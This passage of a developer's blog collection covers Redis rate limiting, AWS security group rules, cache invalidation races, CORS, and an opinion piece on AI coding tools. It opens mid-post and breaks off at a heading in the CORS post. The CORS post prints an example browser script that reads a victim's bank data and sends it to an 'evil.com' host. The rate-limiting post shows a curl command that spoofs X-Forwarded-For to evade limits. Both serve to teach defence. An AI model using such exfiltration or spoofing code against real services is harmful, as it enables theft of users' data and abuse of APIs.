Two fields in a hash. Scales to 10M users in a fraction of the memory that sliding window requires.
## The Design Decision Tree
```
Do you need exact counts?
Yes: Sliding window + Lua script on Redis Cluster
No: Token bucket + Lua script, or approximate counting
Is Redis availability critical?
Yes: Redis Sentinel/Cluster with replicas + in-memory fallback
No: Single node with fail-open on errors
Is this at edge/CDN scale?
Yes: Approximate distributed counting (Cloudflare Workers KV, Durable Objects)
No: Redis Cluster handles it
Is memory a concern (10M+ users)?
Yes: Token bucket (constant memory per user)
No: Sliding window (more accurate, higher memory)
```
The rate limiter I shipped started as "one Redis node, sliding window, Lua script." When we needed to scale Redis, I moved to Redis Cluster and kept the same Lua script. When we needed fault tolerance, I added the in-memory fallback with halved limits.
Start simple. Add complexity when you have the specific problem that needs it, not before.
## Appendix: Full Production Implementation
```ts
import { createCluster, RedisClusterType } from "redis";
import { LRUCache } from "lru-cache";
const cluster = createCluster({
rootNodes: [
{ url: process.env.REDIS_NODE_1 },
{ url: process.env.REDIS_NODE_2 },
{ url: process.env.REDIS_NODE_3 },
],
defaults: { socket: { connectTimeout: 3000 } },
});
const localCache = new LRUCache({ max: 50000 });
const SLIDING_WINDOW_LUA = `
local key = KEYS[1]
local now = tonumber(ARGV[1])
local window_start = tonumber(ARGV[2])
local limit = tonumber(ARGV[3])
local window_seconds = tonumber(ARGV[4])
redis.call('ZREMRANGEBYSCORE', key, 0, window_start)
local count = redis.call('ZCARD', key)
if count >= limit then return 0 end
redis.call('ZADD', key, now, now .. math.random())
redis.call('EXPIRE', key, window_seconds * 2)
return 1
`;
export async function checkRateLimit(
userId: string,
limit: number,
windowSeconds: number
): Promise<{ allowed: boolean; remaining: number }> {
const key = `{${userId}}:rl`;
const now = Date.now();
try {
const result = await cluster.eval(SLIDING_WINDOW_LUA, {
keys: [key],
arguments: [now.toString(), (now - windowSeconds * 1000).toString(), limit.toString(), windowSeconds.toString()],
});
const count = await cluster.zCard(key);
return {
allowed: result === 1,
remaining: Math.max(0, limit - count),
};
} catch {
// Redis unavailable: local fallback with 50% limit
const fallbackLimit = Math.floor(limit * 0.5);
const windowStart = now - windowSeconds * 1000;
const timestamps = (localCache.get(userId) ?? []).filter(t => t > windowStart);
const allowed = timestamps.length < fallbackLimit;
if (allowed) {
timestamps.push(now);
localCache.set(userId, timestamps);
}
return { allowed, remaining: Math.max(0, fallbackLimit - timestamps.length) };
}
}
```
---
## AWS EC2 Security Groups: The Inbound/Outbound Rules That Will Trip You Up
- URL: https://thatdevguy.in/blogs/aws-ec2-inbound-outbound-rules
- Published: 2026-05-27
- Author: Subhadip Saha
- Tags: AWS, EC2, Security Groups, Networking, Cloud
> Stateful vs stateless, implicit denies, ephemeral ports, IPv6 gaps, the real gotchas in EC2 security group rules that caused me actual production pain.
Every AWS beginner hits the same wall: you follow the tutorial, open port 80 inbound, and the thing works. Then you go slightly off-script and spend two hours debugging a connection that *should* work but doesn't. This post is everything I wish I'd known before I wasted those hours.
## The Core Misunderstanding: Stateful vs Stateless
Security Groups (SGs) are **stateful**. Network ACLs (NACLs) are **stateless**. This single distinction explains about 80% of the confusion.
**Stateful** means: if you allow traffic in one direction, the return traffic is automatically allowed. You open port 443 inbound? The response packets back to the client go out, no outbound rule needed.
**Stateless** means: every packet is evaluated independently in both directions. No memory of the connection. You open port 443 inbound on a NACL? You *also* need an outbound rule for the ephemeral port range, or the response never leaves.
Think of Security Groups as a bouncer who remembers faces, if they let you in, they'll let you out. NACLs are a metal detector: every time, both ways, no exceptions.
Most tutorials only use Security Groups, so you never feel the pain. Until you add a NACL and suddenly nothing works.
## Why "Allow All Outbound" Is Not a Security Blanket
The AWS default, and the template every tutorial uses, opens all outbound traffic:
```
Protocol: All
Port range: All
Destination: 0.0.0.0/0
```
This feels like security because you're thinking about it as "requests my server makes." But an attacker who gets code execution on your EC2 instance can:
- Exfiltrate data via HTTP/S to any destination
- Use your instance as a bot in a DDoS attack
- Call out to a C2 (command-and-control) server over any port
Opening all outbound defeats a significant layer of defence-in-depth. The better approach for a web server is:
```
Outbound rule 1: TCP 443 → 0.0.0.0/0 (HTTPS calls to external APIs)
Outbound rule 2: TCP 5432 → sg-xxxxxx (Postgres in the same VPC, referenced by SG ID)
Outbound rule 3: UDP 53 → 0.0.0.0/0 (DNS)
```
Lock it down to what your app actually needs. Anything else is a hole you're leaving open by default.
## The Implicit Deny, Nothing Is "Allowed by Default"
Security Groups have no concept of "allow unless denied." Every rule is an **allow** rule. Anything without a matching allow rule is **denied silently**, no ICMP "connection refused," no error message, just a timeout.
This is a debugging nightmare because:
1. You open port 80. Works.
2. You add a rule for port 8080. Works.
3. You try port 3000. Nothing. Timeout. You assume your app isn't running.
Your app is fine. Port 3000 just isn't in the security group. The implicit deny is invisible.
Timeouts when you expect an immediate error are almost always a Security Group or NACL deny. A true "port closed" returns an RST packet instantly. A hanging connection is being silently dropped.
## Source/Destination: CIDR vs Security Group ID
You can specify traffic sources as:
- A CIDR block (`0.0.0.0/0`, `10.0.0.0/16`, your office IP, etc.)
- Another Security Group ID (`sg-0abc123...`)
The Security Group ID option is almost always the right answer inside a VPC. Here's why:
```
# Fragile: CIDR-based (breaks if you add instances or change IPs)
Inbound: TCP 5432 from 10.0.1.0/24
# Robust: SG-based (automatically includes any instance in that SG)
Inbound: TCP 5432 from sg-app-servers
```
When you reference an SG as a source, AWS dynamically resolves to "any ENI currently associated with that security group." You can scale your app fleet from 1 instance to 100 and the database rule never needs updating.
Using CIDRs inside a VPC is technical debt, you'll hit it when you least expect it, usually during an incident at 2am.
## The Ephemeral Port Problem (NACL-Specific)
Back to NACLs. Even if you understand stateless, the ephemeral port range bites you.
When a client connects to your server on port 443, the client picks a random **ephemeral port** (1024–65535) for the response to come back to. Your NACL needs an outbound rule that covers that range:
```
Outbound: TCP 1024-65535 → 0.0.0.0/0
```
Linux kernels typically use `32768–60999`. The IANA standard range is `49152–65535`. AWS documentation recommends allowing `1024–65535` to be safe.
If you forget this, your inbound traffic reaches the instance, your app responds, but the TCP handshake can't complete because the response is blocked by the NACL on the way out.
Here's a quick reference for what you need at the NACL level for a typical public web server:
| Direction | Protocol | Port Range | Purpose |
|-----------|----------|------------|---------|
| Inbound | TCP | 80 | HTTP |
| Inbound | TCP | 443 | HTTPS |
| Inbound | TCP | 1024–65535 | Return traffic for outbound connections |
| Outbound | TCP | 80, 443 | HTTP/S for software updates, API calls |
| Outbound | TCP | 1024–65535 | Return traffic for inbound connections |
| Outbound | UDP | 53 | DNS |
| Inbound | UDP | 1024–65535 | DNS response return |
Security Groups don't need any of that, they handle it automatically.
## IPv6: You Need Separate Rules
This one gets people who think they've covered everything.
If your VPC has IPv6 enabled (`::/0`) and your EC2 instance has an IPv6 address, clients on IPv6 networks will try to connect via IPv6. Your IPv4 rule (`0.0.0.0/0`) does **not** cover IPv6 traffic.
You need both:
```
# HTTP
Inbound: TCP 80 from 0.0.0.0/0
Inbound: TCP 80 from ::/0 ← easy to forget
# HTTPS
Inbound: TCP 443 from 0.0.0.0/0
Inbound: TCP 443 from ::/0 ← easy to forget
```
The symptom: works fine from most users, mysteriously fails for users on modern ISPs that default to IPv6 (T-Mobile home internet, many European carriers, anyone on IPv6-only mobile data).
If you're using an ALB in front of EC2, the ALB handles IPv6 termination and forwards as IPv4 to your instances. In that architecture, you only need IPv4 rules on the instance SG, but the ALB SG still needs both.
## The "0 References" Trap
Security Groups can exist with zero instances attached. AWS doesn't warn you when you're editing the wrong one.
Classic scenario:
1. You create `sg-web-prod` and attach it to your instances.
2. Two months later you create a new instance and AWS auto-creates `sg-launch-wizard-1`.
3. You're editing rules in the console. You click on the wrong SG. You add your rule. Nothing changes for your running instances.
Always verify you're editing the right SG by checking the "Associated resources" tab before you start, and check the "Inbound rules" tab on the *instance* Network tab, not just the SG console.
## The Rule That Fixed My Production Outage
True story: had a Lambda → RDS Proxy → Aurora setup where Lambda was timing out. Lambda was in a VPC. The SG on the RDS Proxy was correctly allowing TCP 5432 from the Lambda SG. Everything looked right.
The fix: Lambda's SG needed an **outbound rule** allowing TCP 5432 to the RDS Proxy SG.
SGs are stateful for traffic passing *through* the instance, but for **ENI-to-ENI** traffic inside a VPC, *both ends* need rules. The Lambda ENI needed outbound 5432 → rds-proxy-sg, and the RDS Proxy ENI needed inbound 5432 ← lambda-sg. I only had the second half.
For VPC-internal communication between managed services (Lambda, RDS, ECS tasks), always check both ends: outbound on the caller and inbound on the callee.
## Checklist Before You File an AWS Support Ticket
- [ ] Confirmed you're editing the SG actually attached to the instance (check instance → Networking tab)
- [ ] If using NACLs: added **both** inbound and outbound rules including ephemeral port ranges
- [ ] If IPv6 is enabled: added `::/0` rules alongside `0.0.0.0/0`
- [ ] For managed services: checked outbound rules on the *caller's* SG, not just inbound on the callee
- [ ] If using SG references: confirmed the instances are actually in the referenced SG
- [ ] Tested with `nc -zv ` or `telnet` from within the VPC to isolate SG vs app issue
Most networking issues in AWS are rule omissions, not misconfigurations. When in doubt: check the other end of the connection.
---
## I Bet You Haven't Written a Single Line of Code in the Last 6 Months
- URL: https://thatdevguy.in/blogs/you-havent-coded-in-6-months
- Published: 2026-05-08
- Author: Subhadip Saha
- Tags: AI, Developer Culture, Opinion, Career
> AI code editors are incredible. They're also quietly turning developers into prompt engineers who can't think through a problem anymore. That scares me.
Be honest with yourself for a second.
When was the last time you sat down with a blank file and just... wrote code? Not "type a comment and let Copilot complete it." Not "open Claude and describe what you want." Just you, a text editor, and a problem.
I'm not asking to be provocative. I'm asking because I caught myself last month unable to write a binary search from memory. Not because I forgot the algorithm, I know how it works. But my fingers didn't know where to go. I kept reaching for the tab key to autocomplete something that wasn't there.
That felt like a warning.
## The Tools Are Genuinely Amazing
I want to be clear before anything else: I think AI coding tools are one of the most significant things to happen to software development in my lifetime. The speed at which I can prototype, the boilerplate I don't have to write, the obscure APIs I don't have to memorize, it's genuinely changed what one person can build alone.
I shipped a project last year that would have taken three months in two weeks. Using Claude, Cursor, and Copilot together. That's not a small thing.
So this isn't a "AI bad, return to hand-writing assembly" post. I'm not going back and neither are you.
But.
## Something Is Being Lost and Nobody's Talking About It
When I was learning to code, properly learning, before autocomplete was good enough to be dangerous, I would get stuck on a bug for four hours. Genuinely stuck. Trying things, reading error messages, adding console.logs, drawing the data flow on paper.
And in those four hours, I was building something. Not the feature. Something more like a mental model. An intuition for how the runtime works, what the data looks like at each step, where things can go wrong and why.
That's mostly gone now.
Now when I get stuck I describe the problem to an AI, it gives me five solutions, I pick one, I move on. Faster? Yes. But I didn't build anything in my head. I consumed an answer. There's a difference and I'm not sure we're taking it seriously.
The scary part isn't that the AI writes code. It's that you stop wondering *why* the code works.
## The Narrowing That's Already Happening
Talk to junior developers who started their careers in the last two years. A lot of them are genuinely fast. They can scaffold a full-stack app, wire up auth, connect a database, in a day.
Then ask them what happens when the app does something unexpected. Ask them to read a stack trace and explain, before Googling or asking an AI, what they think is happening.
A lot of them can't. Not because they're not intelligent, they're not stupid, they're fast. But they never had to build the mental model because they never had to struggle long enough to need one.
We are quietly producing a generation of developers who are excellent at describing problems and terrible at understanding systems.
And look, I'm not exempt from this. I'm describing myself too.
## The Spiritual Part (Stay With Me)
There's something that happens when you're deep in a hard problem. Like genuinely stuck, past the point where a hint would help, where you just have to sit with the confusion and turn the problem over in your head.
I think some of the best thinking I've ever done happened in that state. Not because confusion is valuable in itself, but because it forces a kind of presence. You can't be distracted. The problem is all there is.
I'm not sure that state exists anymore in most people's workflows. The discomfort lasts about thirty seconds before you paste the error into a chat window.
I'm not saying discomfort is good because suffering is noble or whatever. I'm saying that the thirty-second struggle was the beginning of something, a question forming, a hypothesis, an intuition. We're skipping the question and going straight to the answer. And you can't actually learn from an answer you didn't earn by asking the question.
## What I Think Is Actually Coming
Here's the thing I keep coming back to: the developers who will be most valuable in five years are not the ones who are best at prompting AI.
They're the ones who can look at what the AI produced and know, immediately, whether it's right. Not by running it, by understanding it. By having enough depth to see the subtle bug in the generated code, the security hole in the architecture it suggested, the performance cliff hiding in the query it wrote.
That's a skill that only comes from having spent time in the weeds. From having written enough bad code yourself to recognize it when an AI writes it.
If you've outsourced all of that, you're not a developer who uses AI. You're a QA engineer who can't write tests.
The AI is only as useful as your ability to evaluate its output. And that ability atrophies if you never practice without it.
## I'm Not Telling You to Stop Using the Tools
That would be stupid advice and I wouldn't follow it myself.
But maybe once a week, close the AI tab. Pick a small problem, something real, not a tutorial, and sit with it until you figure it out yourself. Not to prove something. Just to keep the muscle alive.
And the next time the AI gives you an answer, before you copy it: understand it. Actually understand it. Trace through what it does, why it works, what would break it. Make it yours before you ship it.
The tools are here and they're only getting better. That's not the problem. The problem is the learned helplessness that comes from using them without thinking.
You're still the engineer. The AI is just a very fast intern with no judgment and no skin in the game. Don't let it think for you.
Because the day you can't think without it, that's the day it replaced you.
---
## The Day Stale Cache Data Cost Us Three Hours of Debugging
- URL: https://thatdevguy.in/blogs/caching-went-wrong
- Published: 2026-04-16
- Author: Subhadip Saha
- Tags: Backend, Redis, Caching, Distributed Systems, Node.js
> Cache invalidation is genuinely hard. Not 'ha ha the joke problem' hard, actually hard in production. Here's a real incident, the race condition that caused it, and what actually fixed it.
Phil Karlton's famous quote, "there are only two hard things in Computer Science: cache invalidation and naming things", gets repeated so often it's become a joke. Which is unfortunate, because the first one is genuinely, actually hard in ways that take real incidents to appreciate.
I had my incident.
## What We Were Caching
User profile data. Public-facing profile pages: display name, bio, avatar URL, follower count. The data was fetched on every page load, consistent enough that it was a natural caching candidate, and our database was showing the cost of repeated reads.
Simple cache-aside pattern:
```ts
async function getUserProfile(userId: string) {
const cacheKey = `profile:${userId}`;
// Check cache first
const cached = await redis.get(cacheKey);
if (cached) return JSON.parse(cached);
// Cache miss, fetch from DB
const profile = await db.user.findUnique({
where: { id: userId },
select: { id: true, name: true, bio: true, avatarUrl: true, followersCount: true },
});
// Store in cache with 1 hour TTL
await redis.setex(cacheKey, 3600, JSON.stringify(profile));
return profile;
}
```
When the user updated their profile, we invalidated:
```ts
async function updateUserProfile(userId: string, data: UpdateProfileInput) {
const updated = await db.user.update({ where: { id: userId }, data });
await redis.del(`profile:${userId}`); // invalidate cache
return updated;
}
```
Clean. Obvious. Deployed. Worked fine in testing.
## The Incident
A user updated their display name. They refreshed the page. Old name. Refreshed again. Old name. Filed a support ticket.
We checked the database, the new name was there. We checked Redis, the cache had the old name. The TTL was still showing 3540 seconds. The `DEL` had run (we could see it in logs) and yet the old value was back in cache.
Here's what happened.
## The Race Condition
We had scaled to multiple server instances behind a load balancer. Two instances were involved:
```
Timeline:
─────────────────────────────────────────────────────────────
Server A (handling profile update):
1. db.user.update() ← writes new name to database
2. redis.del('profile:42') ← deletes cache key
Server B (handling profile page request, happened in the 2ms gap):
1. redis.get('profile:42') ← CACHE MISS (key was just deleted by A)
2. db.user.findUnique() ← BUT READS OLD DATA (replication lag, read replica was behind)
3. redis.setex('profile:42', 3600, OLD_DATA) ← writes OLD data back to cache
─────────────────────────────────────────────────────────────
```
The write happened on the primary. We were reading from a read replica. The replica was ~200ms behind at the time of the read. Server B hit the cache miss *right as Server A deleted the key*, read stale data from the replica, and cached that stale data for another hour.
The delete-then-populate race is a known problem with cache-aside. You can't avoid it completely with basic invalidation, the window is small but under load it's not rare.
If you use read replicas, cache misses that fall back to DB are not always safe. The read replica may be seconds behind during high write load. A cache miss is not the same as "go get fresh data."
## Why "Update Cache Instead of Delete" Makes It Worse
The naive fix people reach for: instead of deleting the cache key, update it with the new value.
```ts
async function updateUserProfile(userId: string, data: UpdateProfileInput) {
const updated = await db.user.update({ where: { id: userId }, data });
// Update cache directly instead of deleting
await redis.setex(`profile:${userId}`, 3600, JSON.stringify(updated));
return updated;
}
```
This creates a worse race condition:
```
Server A: db.user.update() ← writes v2
Server B: db.user.update() ← writes v3 (user changed their mind)
Server B: redis.setex(v3 data) ← sets cache to v3
Server A: redis.setex(v2 data) ← overwrites cache with v2 ← WRONG
```
Because HTTP requests don't complete in order, the later write's cache update can arrive before the earlier one. Database has v3 (correct). Cache has v2 (stale). This state persists until TTL expires.
Update-cache is strictly worse than delete-cache for concurrent writes.
## Fix 1: Read From Primary After Miss
Simplest fix for the replica lag problem: after a cache miss, always read from the primary.
```ts
async function getUserProfile(userId: string) {
const cached = await redis.get(`profile:${userId}`);
if (cached) return JSON.parse(cached);
// Cache miss: read from primary, not replica
const profile = await db.$primary().user.findUnique({
where: { id: userId },
select: { id: true, name: true, bio: true, avatarUrl: true },
});
await redis.setex(`profile:${userId}`, 3600, JSON.stringify(profile));
return profile;
}
```
This adds load to your primary on cache misses, but cache misses should be infrequent. For a profile with a 1-hour TTL, a miss happens once per hour per user, fine.
If you don't have a way to route reads to primary specifically, ensure cache misses go through a connection that bypasses the read replica pool.
## Fix 2: Short TTL as a Safety Net
Any cache that relies only on active invalidation is one missed invalidation away from serving stale data indefinitely. Networks fail. Code has bugs. Deploys happen.
A TTL is your recovery mechanism:
```ts
// Don't set a 1-hour TTL for user-facing data that updates frequently
// 5 minutes means stale data self-heals at most every 5 minutes
await redis.setex(`profile:${userId}`, 300, JSON.stringify(profile));
```
Yes, more cache misses. Yes, more database reads. That's the tradeoff. For most user-facing data, "eventually consistent within 5 minutes" is acceptable. For financial data or inventory, even 5 seconds may be too long, at which point you need to reconsider whether caching is right for that data.
Set your TTL to the longest staleness your users would not notice or care about.
## Fix 3: Cache Versioning
For data that must be consistent immediately after writes, use a version or timestamp in the cache key:
```ts
async function getUserProfile(userId: string) {
// Get the user's current version from a fast, always-fresh source
const version = await redis.get(`profile:${userId}:version`);
if (version) {
const cached = await redis.get(`profile:${userId}:v${version}`);
if (cached) return JSON.parse(cached);
}
const profile = await db.user.findUnique({ where: { id: userId }, ... });
const newVersion = Date.now();
await redis.setex(`profile:${userId}:version`, 3600, newVersion.toString());
await redis.setex(`profile:${userId}:v${newVersion}`, 3600, JSON.stringify(profile));
return profile;
}
async function updateUserProfile(userId: string, data: UpdateProfileInput) {
const updated = await db.user.update({ where: { id: userId }, data });
// Bump the version, old cached data becomes orphaned (expires naturally)
await redis.setex(`profile:${userId}:version`, 3600, Date.now().toString());
return updated;
}
```
On update, bump the version. The old versioned cache entry becomes unreachable (nothing references it anymore) and expires naturally. The next read fetches fresh data. No delete-then-repopulate race because you're never deleting a key that another request is about to write.
This uses more memory (orphaned keys until TTL) and adds a round trip for the version lookup, but eliminates the race condition.
## Fix 4: Event-Driven Invalidation
For production systems where data is written from multiple services, application-level invalidation breaks down. You need to hear about writes from the database itself.
PostgreSQL's `LISTEN/NOTIFY`:
```ts
// Listener process
const client = new Client();
await client.connect();
await client.query('LISTEN profile_updated');
client.on('notification', async (msg) => {
const { userId } = JSON.parse(msg.payload);
await redis.del(`profile:${userId}`);
});
// In your update function (PostgreSQL trigger or application code)
await db.$executeRaw`
SELECT pg_notify('profile_updated', ${JSON.stringify({ userId })})
`;
```
Or publish invalidation events to a message queue (Redis pub/sub, Kafka, SQS) that cache nodes subscribe to. Any service that writes to the database publishes an invalidation event. Cache nodes clear the relevant keys. No relying on application code in the write path to remember to invalidate.
## What the Fix Actually Was
For our specific case: we switched cache misses to read from primary, dropped TTL from 3600 to 300, and added an explicit note in code about the replica lag issue so the next developer doesn't "optimize" it away.
```ts
async function getUserProfile(userId: string) {
const cacheKey = `profile:${userId}`;
const cached = await redis.get(cacheKey);
if (cached) return JSON.parse(cached);
// Reads from primary, replica lag would cause stale repopulation
const profile = await db.primary.user.findUnique({
where: { id: userId },
select: { id: true, name: true, bio: true, avatarUrl: true },
});
await redis.setex(cacheKey, 300, JSON.stringify(profile)); // 5 min TTL
return profile;
}
```
Not the most elegant solution. But it fixed the user's problem, reduced primary DB load significantly compared to no cache, and the 5-minute TTL means any edge case stale data self-heals quickly.
## The Actual Lesson
Cache-aside looks simple. It has at least three places where data can become permanently stale:
1. Your invalidation code has a bug
2. Another service writes to the same data without invalidating your cache
3. The cache-miss repopulation reads stale data from a replica
A cache is not a transparent layer. It's a consistency trade-off that you're making explicitly. Design for the failure cases before they become production incidents.
And set a TTL. Always set a TTL.
---
## Rate Limiting Is Broken on Most Apps, Including Yours
- URL: https://thatdevguy.in/blogs/rate-limiting-is-broken
- Published: 2026-03-29
- Author: Subhadip Saha
- Tags: Security, Backend, Redis, API Design, Node.js
> IP-based limits, X-Forwarded-For spoofing, the fixed window 2x burst hole, and why most rate limiting implementations give you false confidence.
I've reviewed a lot of code. And I'd say 80% of rate limiting implementations I've seen have at least one hole that makes them trivially bypassable. Not because the developers were careless, the docs make it look easy, the library says "production ready," and the tests pass.
But the tests don't test for the things that actually matter.
Let's go through the real problems.
## The IP Address Problem
Most rate limiting is keyed on IP address. That's fine until you realize:
1. IPv4 addresses can be easily rotated via residential proxy networks. You can buy access to a pool of millions of real residential IPs for roughly $3/GB. Rotating one per request is trivial.
2. A single IP might represent thousands of legitimate users (corporate NAT, university network, large ISP with CGNAT). Block that IP and you've locked out everyone behind it.
3. IPv6 means attackers can have a `/64` subnet, that's 18 quintillion addresses, from a single ISP allocation. Blocking individual IPs is pointless.
IP-based rate limiting is a first line of defence against lazy bots. It's not a security control. Don't treat it like one.
For anything that matters, login endpoints, password resets, payment flows, you need to rate limit on account identifier, not IP. Rate limit on the email address being attempted, the user ID in the session, the API key. Things the attacker can't trivially rotate.
## `X-Forwarded-For` Is Trivially Spoofed
Here's a mistake I see constantly in Express/Node apps:
```js
const ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress;
```
`X-Forwarded-For` is a header. Headers are set by the client. The client can put anything in there.
```bash
curl -H "X-Forwarded-For: 1.2.3.4" https://yourapi.com/login
```
If your rate limiter reads this header directly, an attacker sends a different fake IP with every request and your rate limit never triggers.
The correct approach depends on your infrastructure:
```js
// If behind a trusted proxy (nginx, Cloudflare, load balancer):
// configure your proxy to set a verified header and read ONLY that
// In Express:
app.set('trust proxy', 1); // trust first proxy in chain
const ip = req.ip; // Express resolves this correctly
// Better: use the rightmost IP in X-Forwarded-For that YOU added
// Your proxy appends the real client IP, read from the right
```
Never use `req.headers['x-forwarded-for'].split(',')[0]` as a rate limit key unless you fully trust every proxy in your chain to not be manipulated. That's the leftmost IP, the one the client controls.
If you're behind Cloudflare, use `CF-Connecting-IP`. If you're on AWS ALB, use `X-Forwarded-For` but only the last IP in the chain (the one ALB added). Know your infrastructure.
## The Fixed Window 2x Burst Hole
Fixed window rate limiting looks like this: allow 100 requests per minute, reset the counter every minute on the clock boundary (`:00`, `:01`, etc.).
Seems fine. But watch what happens:
```
11:59:50 → user sends 100 requests (uses up the 11:59 window)
12:00:00 → window resets
12:00:05 → user sends 100 more requests (new window, fresh 100)
```
In a 10-second window spanning a minute boundary, the attacker got 200 requests. **Every fixed window implementation has this 2x burst at the boundary.** If your limit is 100 req/min, the real effective limit is 200 req in any 10-second period.
For most apps this doesn't matter. For login endpoints, it does.
The fix is sliding window:
```
At any point in time, count requests in the past 60 seconds.
Not "in this calendar minute", in the past 60 seconds from now.
```
With sliding window there's no boundary to exploit. The window always covers exactly the last N seconds.
## Sliding Window in Redis
A clean sliding window implementation using Redis sorted sets:
```js
import { Redis } from "@upstash/redis";
const redis = new Redis({ url: process.env.UPSTASH_URL, token: process.env.UPSTASH_TOKEN });
async function isRateLimited(key: string, limit: number, windowSeconds: number): Promise {
const now = Date.now();
const windowStart = now - windowSeconds * 1000;
const pipeline = redis.pipeline();
// Remove entries outside the window
pipeline.zremrangebyscore(key, 0, windowStart);
// Count remaining entries
pipeline.zcard(key);
// Add current request with timestamp as score
pipeline.zadd(key, { score: now, member: `${now}-${Math.random()}` });
// Expire the key so it doesn't sit in Redis forever
pipeline.expire(key, windowSeconds * 2);
const results = await pipeline.exec();
const count = results[1] as number;
return count >= limit;
}
```
Use it like:
```js
const limited = await isRateLimited(`login:${email}`, 5, 300); // 5 attempts per 5 minutes
if (limited) return res.status(429).json({ error: "Too many attempts" });
```
This is keyed on email, not IP. Uses sliding window. No 2x burst hole.
The tradeoff: sorted sets use more memory than simple counters. For high-traffic endpoints you might want a leaky bucket or token bucket instead.
## Token Bucket: The One You Should Actually Use
Token bucket is conceptually simple:
- Each "user" (or key) has a bucket with a max capacity of N tokens
- Tokens refill at a constant rate (e.g., 1 token per second)
- Each request costs 1 token
- If the bucket is empty, the request is rejected
Why this is better than sliding window for most cases:
1. **Allows bursting**, a user can send 10 requests instantly if they haven't made requests recently. Their bucket is full. This is how real legitimate users behave.
2. **No boundary exploit**, continuous refill, no reset event to exploit.
3. **Cheap to store**, just two values: current tokens and last refill time.
Simple Redis implementation:
```js
async function tokenBucket(
key: string,
capacity: number,
refillRate: number // tokens per second
): Promise {
const now = Date.now() / 1000; // seconds
const data = await redis.hmget(key, "tokens", "last_refill");
let tokens = data[0] ? parseFloat(data[0] as string) : capacity;
const lastRefill = data[1] ? parseFloat(data[1] as string) : now;
// Add tokens for time elapsed
const elapsed = now - lastRefill;
tokens = Math.min(capacity, tokens + elapsed * refillRate);
if (tokens < 1) {
// Bucket empty, rejected
await redis.hmset(key, { tokens: tokens.toFixed(4), last_refill: now });
await redis.expire(key, Math.ceil(capacity / refillRate) * 2);
return true; // is rate limited
}
// Consume one token
await redis.hmset(key, { tokens: (tokens - 1).toFixed(4), last_refill: now });
await redis.expire(key, Math.ceil(capacity / refillRate) * 2);
return false;
}
```
This isn't atomic (race condition between read and write under high concurrency). For production, wrap in a Lua script or use a library like `rate-limiter-flexible` which handles this correctly.
## The Response Header You're Probably Not Sending
When you do rate limit someone, tell them. Clients (especially legitimate API consumers) need to know when to back off.
```js
res.set({
'X-RateLimit-Limit': limit,
'X-RateLimit-Remaining': remaining,
'X-RateLimit-Reset': resetTimestamp, // Unix timestamp
'Retry-After': secondsUntilReset, // 429 responses
});
```
`Retry-After` is a standard HTTP header. Well-behaved clients respect it and back off automatically. If you don't send it, you'll get thundering herd, all the clients that got 429 retry at the same time.
## What Actually Works
Honest answer: layered limits.
- **Cloudflare / CDN level**, blocks volumetric attacks before they hit your origin. Cheap, no code.
- **IP-based limit at the edge**, catches dumb bots. Not security, just noise reduction.
- **Account/identifier-based limit in app**, the actual security control. Keyed on email, user ID, API key.
- **CAPTCHA after N failures**, for login endpoints, not for APIs.
- **Exponential backoff on failures**, double the lockout period each time. First lockout: 1 min. Second: 2 min. Third: 4 min. Makes brute force economically infeasible.
No single layer is enough. The IP limit is useless against proxies. The account limit is useless if the attacker has a list of valid usernames and one attempt per account. Layering them raises the cost of attack.
Rate limiting is not a checkbox. It's a tradeoff between security and friction for real users. Know what you're protecting, key on the right identifier, and pick the algorithm that matches your burst tolerance.
---
## CORS Is Not a Security Feature, Stop Treating It Like One
- URL: https://thatdevguy.in/blogs/cors-is-not-security
- Published: 2026-03-11
- Author: Subhadip Saha
- Tags: Security, Backend, API Design, Web
> CORS is enforced by browsers, not servers. curl doesn't care. Postman doesn't care. Your attacker's script doesn't care. Here's what CORS actually does and what protects your API instead.
I've seen this comment in production code more than once:
```js
// Security: CORS enabled, only our frontend can call this API
app.use(cors({ origin: 'https://myapp.com' }));
```
That comment is wrong. Not slightly off, fundamentally wrong. And I say that not to be harsh but because believing it creates a false sense of security that leaves real vulnerabilities unaddressed.
Let's talk about what CORS actually is.
## What CORS Actually Does
CORS stands for Cross-Origin Resource Sharing. It's a browser mechanism. **The browser** decides whether to allow a web page from one origin (`https://evil.com`) to read the response from another origin (`https://yourapi.com`).
That's it. That's the whole thing.
When your browser makes a cross-origin request, it checks the response headers from the server. If the server says `Access-Control-Allow-Origin: https://myapp.com`, the browser allows `myapp.com` to read the response. If the header isn't there, or lists a different origin, the browser blocks access to the response.
The request still went through. The server still processed it. The browser just won't let the JavaScript on the page read the response.
Let that sink in for a second.
## curl Doesn't Speak CORS
```bash
curl -X DELETE https://yourapi.com/users/42 \
-H "Authorization: Bearer some-token"
```
CORS restrictions: zero. curl is not a browser. It doesn't implement the Same-Origin Policy. It sends the request, gets the response, and prints it out. CORS headers are completely ignored.
Same with Postman. Same with Python's `requests` library. Same with any server-side code. Same with an attacker's script.
CORS is a browser safety net for legitimate web pages. It has no effect on any non-browser HTTP client. None.
## What "Restricting" CORS Actually Prevents
Let me give you the one real attack CORS protects against.
Scenario: you're logged into `https://yourbank.com`. Your session cookie is sitting in your browser. Now you visit `https://evil.com`, which has this script:
```js
fetch('https://yourbank.com/api/balance', {
credentials: 'include' // sends your session cookie
})
.then(res => res.json())
.then(data => {
// evil.com reads your balance and exfiltrates it
fetch('https://evil.com/steal?data=' + JSON.stringify(data));
});
```
Without CORS restrictions, `evil.com`'s script would successfully read data from your bank's API using your credentials. CORS prevents this, if the bank's API doesn't include `evil.com` in its allowed origins, the browser blocks the response read.
So CORS does protect against **cross-site data exfiltration via browser scripts**. That's legitimate. That's valuable.
But it doesn't protect against:
- Direct API calls from any non-browser client
- An attacker who obtained valid credentials
- Server-side request forgery (SSRF)
- Anything else that doesn't involve a browser's Same-Origin Policy enforcement
CORS with `credentials: true` and `origin: '*'` is invalid, browsers reject it. But CORS with `origin: '*'` and no credentials is common and means any site can read your public API responses. Fine for public APIs, not fine if you think it's a security boundary.
## The Real Culprit: Missing Authentication
Here's the thing. If the only thing stopping unauthorized users from calling your API is CORS, your API has no authentication. And that's the actual problem.
```js
// This does nothing for security
app.use(cors({ origin: 'https://myapp.com' }));
// This is where security actually lives
app.use(authenticate); // verify JWT, session, API key, whatever
app.use(authorize); // verify the user can do what they're trying to do
```
A properly authenticated API can have `Access-Control-Allow-Origin: *` and still be secure, because every request must carry valid credentials that can't be forged. CORS is irrelevant when authentication is solid.
A poorly authenticated API with strict CORS is just waiting for someone to open curl.
## CSRF Is a Different Problem
